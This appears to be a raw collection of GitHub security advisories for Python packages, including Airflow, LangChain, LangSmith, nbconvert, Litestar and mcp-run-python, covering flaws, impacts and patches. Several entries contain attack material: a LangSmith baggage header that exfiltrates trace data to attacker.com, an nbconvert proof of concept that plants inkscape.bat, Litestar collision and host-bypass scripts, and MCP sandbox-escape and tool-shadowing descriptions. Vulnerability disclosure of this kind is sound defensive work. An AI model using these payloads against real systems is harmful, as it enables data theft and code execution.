deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-pm44-x5x7-24c4
Package: apache-airflow (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-648: Incorrect Use of Privileged APIs
Vulnerable versions: >= 3.1.0, < 3.1.7
Patched in: 3.1.7

Summary: Apache Airflow Has an Authorization Bypass That Allows Unauthorized Task Log Access

Details:
## Vulnerability Overview

An authorization bypass vulnerability exists in Apache Airflow that allows authenticated users to access task execution logs without the required permissions.

## The Flaw

The vulnerability affects environments using custom roles or granular permission settings. Normally, Airflow allows administrators to separate "Task" access (viewing the task state) from "Task Log" access (viewing the console output/logs).

In affected versions, the permission check for retrieving logs is insufficient. An authenticated user who has been granted access to view Tasks can successfully request and view Task Logs, even if they do not have the specific `can_read` permission for Logs.

## Impact

- **Confidentiality Loss:** Task logs often contain sensitive operational data, debugging information, or potentially leaked secrets (environment variables, connection strings) that should not be visible to all users with basic task access.
- **Broken Access Control:** This bypasses the intended security model for restricted user roles.

## Affected Versions

- Apache Airflow 3.1.0 through 3.1.6

## Patches

Users should upgrade to Apache Airflow **3.1.7** or later, which enforces the correct permission checks for log access.
GitHub Security Advisory: GHSA-27jp-wm6q-gp25
Package: sqlparse (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: <= 0.5.3
Patched in: 0.5.4

Summary: sqlparse: formatting list of tuples leads to denial of service

Details:
### Summary
The below gist hangs while attempting to format a long list of tuples.

This was found while [drafting a regression test for Dja
ngo 5.2's composite primary key feature](https://code.djangoproject.com/ticket/36416#comment:3), which allows querying composite fields with tuples.

###
GitHub Security Advisory: GHSA-gfmx-qqqh-f38q
Package: keras (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-73: External Control of File Name or Path
Vulnerable versions: >= 3.0.0, <= 3.13.1
Patched in: unpatched

Summary: Duplicate Advisory: Keras vulnerable to arbitrary file read in the model loading mechanism (HDF5 integration)

Details:
## Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-3m4q-jmj6-r34q. This link is maintained to preserve external references.

## Original Description
Arbitrary file read in the model loading mechanism (HDF5 integration) in Keras versions 3.0.0 through 3.13.1 on all supported platforms allows a remote attacker to read local files and disclose sensitive information via a crafted .keras model file utilizing HDF5 external dataset references.
GitHub Security Advisory: GHSA-436v-jg82-p533
Package: azure-ai-language-conversations-authoring (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-502: Deserialization of Untrusted Data
Vulnerable versions: < 1.0.0b4
Patched in: 1.0.0b4

Summary: Azure AI Language Authoring Elevation of Privilege Vulnerability can Lead to RCE

Details:
Deserialization of untrusted data in the Azure AI Language Conversations Authoring client library for Python allows an unauthorized attacker to execute code over a network.
GitHub Security Advisory: GHSA-w8v5-vhqr-4h9v
Package: diskcache (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-502: Deserialization of Untrusted Data
Vulnerable versions: <= 5.6.3
Patched in: unpatched

Summary: DiskCache has unsafe pickle deserialization

Details:
DiskCache (python-diskcache) through 5.6.3 uses Python pickle for serialization by default. An attacker with write access to the cache directory can achieve arbitrary code execution when a victim application reads from the cache.
GitHub Security Advisory: GHSA-pfv4-wmph-5gc6
Package: mcp-run-python (PIP)
Severity: MODERATE (CVSS 5.8)
CWE: CWE-653: Improper Isolation or Compartmentalization
Vulnerable versions: <= 0.0.22
Patched in: unpatched

Summary: MCP Run Python has a Sandbox Escape & Server Takeover Vulnerability

Details:
### Impact
**Critical Sandbox Escape & Server Takeover:**
A critical security vulnerability exists in `mcp-run-python` due to a lack of isolation between the Python runtime (Pyodide) and the host JavaScript environment.

The `runPython` and `runPythonAsync` functions execute Python code using Pyodide without restricting access to the JavaScript bridge. This allows any executed Python code—whether from a user or an AI model—to access the `js` module in Pyodide. Through this bridge, the Python code can modify the global JavaScript environment, interact with the Node.js process, and alter the behavior of the MCP server.

**Specific Attack Vector: MCP Tool Shadowing**
Because the Python code can modify the JS runtime, an attacker can dynamically overwrite or "shadow" existing MCP tools registered on the server. For example, an attacker could replace a secure file-reading tool with a malicious version that exfiltrates data to an external server, all while the MCP server appears to be functioning normally.

### Patches
**No Patch Available:**
The `mcp-run-python` project is currently **archived** and maintainers have indicated it is unlikely to receive a fix.

**Recommendation:**
Users are strongly advised to **immediately stop using** this package.
If functionality is required, users must migrate to a maintained alternative that implements proper sandboxing (e.g., running Python in a Docker container or a restricted WASM environment with the JS bridge disabled).

### Workarounds
There are no configuration-based workarounds. Securing the environment requires modifying the source code to disable the Pyodide-to-JS bridge or moving the execution environment to a fully isolated sandbox (e.g., a separate container).

### Resources
* [CVE-2026-25905](https://nvd.nist.gov/vuln/detail/CVE-2026-25905)
* [JFrog Security Analysis: MCP Takeover](https://research.jfrog.com/vulnerabilities/mcp-run-python-lack-of-isolation-mcp-takeover-jfsa-2[PII_REDACTED]30)
GitHub Security Advisory: GHSA-5g2w-9f8g-g5q7
Package: apache-airflow (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
Vulnerable versions: < 3.1.7
Patched in: 3.1.7

Summary: Apache Airflow UI Exposes DAG Import Errors to Unauthorized Authenticated Users

Details:
### Impact

**Exposure of Sensitive Information:**

An information disclosure vulnerability exists in the Apache Airflow UI that allows authenticated users to view `Import Errors` for DAGs they are not authorized to access.

In affected versions, the **Import Errors** view does not correctly filter errors based on granular DAG permissions. This means a user with access to only `DAG_A` can view import errors generated by `DAG_B`, `DAG_C`, or system-level DAGs. These error logs often contain file paths, code snippets, or stack traces that reveal the internal structure and logic of restricted DAGs.

### Patches

Users should upgrade to Apache Airflow **3.1.7** or later.
This version strictly enforces DAG-level permissions on the Import Errors view.

### Workarounds

There are no known workarounds other than upgrading.

### Resources

* [CVE-2026-24098](https://nvd.nist.gov/vuln/detail/CVE-2026-24098)
* [Pull Request #60801](https://github.com/apache/airflow/pull/60801)
* [Mailing List Announcement](https://lists.apache.org/thread/nx96435v77xdst7ls5lk57kqvqyj095x)
GitHub Security Advisory: GHSA-6fgp-m6q4-j3q5
Package: mcp-run-python (PIP)
Severity: MODERATE (CVSS 5.8)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: <= 0.0.22
Patched in: unpatched

Summary: MCP Run Python Deno Sandbox Misconfiguration Allows SSRF Attacks via Localhost Access

Details:
### Impact
**Server-Side Request Forgery (SSRF):**
A security vulnerability exists in the `mcp-run-python` tool (specifically within the Pydantic-AI integration) due to an overly permissive Deno sandbox configuration.

The tool configures the Deno runtime—which is intended to isolate the execution of untrusted Python code—with network permissions that include access to the host's loopback interface (`localhost`). Consequently, malicious Python code executed through the tool can bypass network isolation and send HTTP requests to internal services running on the host machine. This allows attackers to interact with local APIs, databases, or cloud metadata services that should not be accessible from the sandbox.

### Patches
**No Patch Available:**
The `mcp-run-python` project is currently **archived** and maintainers have indicated it is unlikely to receive a fix.

**Recommendation:**
Users are strongly advised to **immediately stop using** this package.
If functionality is required, users must migrate to an alternative execution environment that enforces strict network isolation (e.g., blocking all outbound traffic or explicitly denying access to `127.0.0.1`/`::1`).

### Workarounds
There are no configuration-based workarounds provided by the package itself. Remediation requires modifying the source code to restrict the Deno permissions (specifically removing or narrowing the `--allow-net` flag) or moving the execution to a container with no network access.

### Resources
* [CVE-2026-25904](https://nvd.nist.gov/vuln/detail/CVE-2026-25904)
* [JFrog Security Analysis: Deno SSRF](https://research.jfrog.com/vulnerabilities/mcp-run-python-deno-ssrf-jfsa-2[PII_REDACTED]29)
GitHub Security Advisory: GHSA-2g6r-c272-w58r
Package: langchain-core (PIP)
Severity: LOW (CVSS 3.7)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: < 1.2.11
Patched in: 1.2.11

Summary: LangChain affected by SSRF via image_url token counting in ChatOpenAI.get_num_tokens_from_messages

Details:
## Server-Side Request Forgery (SSRF) in ChatOpenAI Image Token Counting

### Summary
The `ChatOpenAI.get_num_tokens_from_messages()` method fetches arbitrary `image_url` values without validation when computing token counts for vision-enabled models. This allows attackers to trigger Server-Side Request Forgery (SSRF) attacks by providing malicious image URLs in user input.

### Severity
**Low** - The vulnerability allows SSRF attacks but has limited impact due to:
- Responses are not returned to the attacker (blind SSRF)
- Default 5-second timeout limits resource exhaustion
- Non-image responses fail at PIL image parsing

### Impact
An attacker who can control image URLs passed to `get_num_tokens_from_messages()` can:
- Trigger HTTP requests from the application server to arbitrary internal or external URLs
- Cause the server to access internal network resources (private IPs, cloud metadata endpoints)
- Cause minor resource consumption through image downloads (bounded by timeout)

**Note:** This vulnerability occurs during token counting, which may happen outside of model invocation (e.g., in logging, metrics, or token budgeting flows).

### Details
The vulnerable code path:
1. `get_num_tokens_from_messages()` processes messages containing `image_url` content blocks
2. For images without `detail: "low"`, it calls `_url_to_size()` to fetch the image and compute token counts
3. `_url_to_size()` performs `httpx.get(image_source)` on any URL without validation
4. Prior to the patch, there was no SSRF protection, size limits, or explicit timeout

**File:** `libs/partners/openai/langchain_openai/chat_models/base.py`

### Patches
The vulnerability has been patched in `langchain-openai==1.1.9` (requires `langchain-core==1.2.11`).

The patch adds:
1. **SSRF validation** using `langchain_core._security._ssrf_protection.validate_safe_url()` to block:
   - Private IP ranges (RFC 1918, loopback, link-local)
   - Cloud metadata endpoints (169.254.169.254, etc.)
   - Invalid URL schemes
2. **Explicit size limits** (50 MB maximum, matching OpenAI's payload limit)
3. **Explicit timeout** (5 seconds, same as `httpx.get` default)
4. **Allow disabling image fetching** via `allow_fetching_images=False` parameter

### Workarounds
If you cannot upgrade immediately:

1. **Sanitize input:** Validate and filter `image_url` values before passing messages to token counting or model invocation
2. **Use network controls:** Implement egress filtering to prevent outbound requests to private IPs
GitHub Security Advisory: GHSA-cfh3-3jmp-rvhc
Package: pillow (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: >= 10.3.0, < 12.1.1
Patched in: 12.1.1

Summary: Pillow affected by out-of-bounds write when loading PSD images

Details:
### Impact
An out-of-bounds write may be triggered when loading a specially crafted PSD image. Pillow >= 10.3.0 users are affected.

### Patches
Pillow 12.1.1 will be released shortly with a fix for this.

### Workarounds
`Image.open()` has a `formats` parameter that can be used to prevent PSD images from being opened.

### References
Pillow 12.1.1 will add release notes at https://pillow.readthedocs.io/en/stable/releasenotes/index.html
GitHub Security Advisory: GHSA-r6ph-v2qm-q3c2
Package: cryptography (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: <= 46.0.4
Patched in: 46.0.5

Summary: cryptography Vulnerable to a Subgroup Attack Due to Missing Subgroup Validation for SECT Curves

Details:
## Vulnerability Summary

The `public_key_from_numbers` (or `EllipticCurvePublicNumbers.public_key()`), `EllipticCurvePublicNumbers.public_key()`, `load_der_public_key()` and `load_pem_public_key()` functions do not verify that the point belongs to the expected prime-order subgroup of the curve.

This missing validation allows an attacker to provide a public key point `P` from a small-order subgroup.  This can lead to security issues in various situations, such as the most commonly used signature verification (ECDSA) and shared key negotiation (ECDH). When the victim computes the shared secret as `S = [victim_private_key]P` via ECDH,  this leaks information about `victim_private_key mod (small_subgroup_order)`. For curves with cofactor > 1, this reveals the least significant bits of the private key.  When these weak public keys are used in ECDSA , it's easy to forge signatures on the small subgroup.

Only SECT curves are impacted by this.

## Credit

This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
GitHub Security Advisory: GHSA-xm59-rqc7-hhvf
Package: nbconvert (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-427: Uncontrolled Search Path Element
Vulnerable versions: < 7.17.0
Patched in: 7.17.0

Summary: nbconvert has an uncontrolled search path that leads to unauthorized code execution on Windows

Details:
### Summary

On Windows, converting a notebook containing SVG output to a PDF results in unauthorized code execution. Specifically, a third party can create a `inkscape.bat` file that defines a [Windows batch script](https://en.wikipedia.org/wiki/Batch_file), capable of arbitrary code execution.

When a user runs `jupyter nbconvert --to pdf` on a notebook containing SVG output to a PDF on a Windows platform from this directory, the `inkscape.bat` file is run unexpectedly.

### Details
_Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._

`nbconvert` searches for an `inkscape` executable when converting notebooks to PDFs here: https://github.com/jupyter/nbconvert/blob/4f61702f5c7524d8a3c4ac0d5fc33a6ac2fa36a7/nbconvert/preprocessors/svg2pdf.py#L104

The MITRE page on [CWE-427 (Uncontrolled Search Path Element)](https://cwe.mitre.org/data/definitions/427.html) summarizes the root cause succinctly:

> In Windows-based systems, when the `LoadLibrary` or `LoadLibraryEx` function is called with a DLL name that does not contain a fully qualified path, the function follows a search order that includes two path elements that might be uncontrolled:
> - the directory from which the program has been loaded
> - the current working directory

### PoC

_Complete instructions, including specific configuration details, to reproduce the vulnerability._

1. Create a directory containing: 

    - A hidden bat file called `inkscape.bat` containing `msg * "You've been hacked!"`

    - A dummy ipynb file called `Machine_Learning.ipynb`

2. Run the command `jupyter nbconvert --to pdf Machine_Learning.ipynb`.

3. Wait a few seconds, and you should see a popup showing the message "You've been hacked!" 

### Impact

All Windows users.
GitHub Security Advisory: GHSA-v34v-rq6j-cj6p
Package: langsmith (PIP)
Severity: MODERATE (CVSS 5.8)
CWE: CWE-918: Server-Side Request Forgery (SSRF)
Vulnerable versions: >= 0.4.10, < 0.6.3
Patched in: 0.6.3

Summary: LangSmith Client SDK Affected by Server-Side Request Forgery via Tracing Header Injection

Details:
## Summary

The LangSmith SDK's distributed tracing feature is vulnerable to Server-Side Request Forgery via malicious HTTP headers. An attacker can inject arbitrary `api_url` values through the `baggage` header, causing the SDK to exfiltrate sensitive trace data to attacker-controlled endpoints.

---

## Description

When using distributed tracing, the SDK parses incoming HTTP headers via `RunTree.from_headers()` in Python or `RunTree.fromHeaders()` in Typescript. The `baggage` header can contain replica configurations including `api_url` and `api_key` fields.

Prior to the fix, these attacker-controlled values were accepted without validation. When a traced operation completes, the SDK's `post()` and `patch()` methods send run data to all configured replica URLs, including any injected by an attacker.

---

## Attack Vector

1. Attacker sends an HTTP request to a vulnerable service with a malicious `baggage` header:
   ```
   baggage: langsmith-replicas=[{"api_url":"https://attacker.com/exfil","project_name":"x"}]
   ```

2. The service parses the header via `RunTree.from_headers()`, storing the attacker's URL

3. When the traced operation completes, the SDK sends the full run data (including LLM inputs, outputs, and metadata) to `https://attacker.com/exfil`

---

## Impact

- **Data Exfiltration:** Sensitive trace data including LLM prompts, completions, and application metadata sent to attacker-controlled servers
- **SSRF:** Ability to make the server send requests to arbitrary URLs, potentially targeting internal services

---

## Affected Use Cases

Applications are vulnerable if they:
- Use `TracingMiddleware` to automatically propagate tracing context
- Call `RunTree.from_headers()` / `RunTree.fromHeaders()` with untrusted HTTP headers

---

## Remediation

Update to the patched versions:
- **Python:** `pip install langsmith>=0.6.3`
- **JavaScript:** `npm install langsmith@>=0.4.6`

The fix filters incoming replica configurations to an allowlist of safe fields, removing `api_url`, `api_key`, and other credential fields.

---

## Workarounds

If unable to upgrade immediately:
- Strip or validate the `baggage` header before passing to `from_headers()`
- Do not use `TracingMiddleware` with untrusted traffic
GitHub Security Advisory: GHSA-vxqx-rh46-q2pg
Package: litestar (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-20: Improper Input Validation, CWE-176: Improper Handling of Unicode Encoding
Vulnerable versions: = 2.19.0
Patched in: 2.20.0

Summary: Litestar's FileStore key canonicalization collisions allow response cache mixup/poisoning (ASCII ord + Unicode NFKD)

Details:
### Summary
FileStore maps cache keys to filenames using Unicode NFKD normalization and ord() substitution without separators, creating key collisions. When FileStore is used as response-cache backend, an unauthenticated remote attacker can trigger cache key collisions via crafted paths, causing one URL to serve cached responses of another (cache poisoning/mixup)

### Details
litestar.stores.file._safe_file_name() normalizes input with unicodedata.normalize("NFKD", name) and builds the filename by concatenating c if alphanumeric else str(ord(c)) (no delimiter).
This transformation is not injective, e.g.:

- "k-" and "k45" both become "k45" (because - ord('-') == 45)
- "k/\n" becomes "k4710", colliding with "k4710"
- "K" (Kelvin sign) normalizes to "K", colliding with "K"

When used in response caching, the default cache key includes request path and sorted query params, which are attacker-controlled.

### PoC

```
import asyncio, tempfile
from litestar.stores.file import FileStore

async def main():
    d = tempfile.mkdtemp(prefix="ls_filestore_poc_")
    store = FileStore(d, create_directories=True)
    await store.__aenter__()

    # 1) ASCII ord-collision: "-" -> 45
    await store.set("k-", b"A")
    v = await store.get("k45")
    print("k-  ->", v)
    print("k45 ->", await store.get("k45"))
    if v == b"A":
        print("VULNERABLE: 'k-' collides with 'k45'")

    # 2) NFKD collision: Kelvin sign -> K
    await store.set("K", b"B")   # U+212A
    v2 = await store.get("K")
    print("K ->", await store.get("K"))
    print("K ->", v2)
    if v2 == b"B":
        print("VULNERABLE: 'K' collides with 'K' (NFKD)")

if __name__ == "__main__":
    asyncio.run(main())
```

### Impact
Vulnerability type: cache poisoning / cache key collision.
Impacted deployments: applications using Litestar response caching with FileStore backend (or any attacker-influenced keying into FileStore).
Possible impact: serving incorrect cached content across distinct URLs, potential confidentiality/integrity issues depending on what endpoints are cached.
GitHub Security Advisory: GHSA-93ph-p7v4-hwh4
Package: litestar (PIP)
Severity: MODERATE (CVSS 6.5)
CWE: CWE-185: Incorrect Regular Expression
Vulnerable versions: = 2.19.0
Patched in: 2.20.0

Summary: Litestar's AllowedHosts has a validation bypass due to unescaped regex metacharacters in configured host patterns

Details:
### Summary
AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom

### Details
In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.

### PoC
Server (poc_allowed_hosts_server.py)

```
from litestar import Litestar, get
from litestar.middleware.allowed_hosts import AllowedHostsConfig

@get("/")
async def index() -> str:
    return "ok"

config = AllowedHostsConfig(allowed_hosts=["example.com"])
app = Litestar([index], allowed_hosts_config=config)
```

`uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001`

Client (poc_allowed_hosts_client.py)

```
import http.client

def req(host_header: str) -> tuple[int, bytes]:
    c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3)
    c.request("GET", "/", headers={"Host": host_header})
    r = c.getresponse()
    body = r.read()
    c.close()
    return r.status, body

print("evil.com:", *req("evil.com"))
print("exampleXcom:", *req("exampleXcom"))
```

Expected (vulnerable behavior):
Host: evil.com → 400 invalid host

Host: exampleXcom → 200 ok (bypass)

### Impact
Type: security control bypass (host allowlist)
Who is impacted: apps relying on AllowedHosts to prevent Host header attacks (cache poisoning, absolute URL construction abuse, password reset link poisoning, etc.). The downstream impact depends on app behavior, but the bypass defeats a core mitigation layer.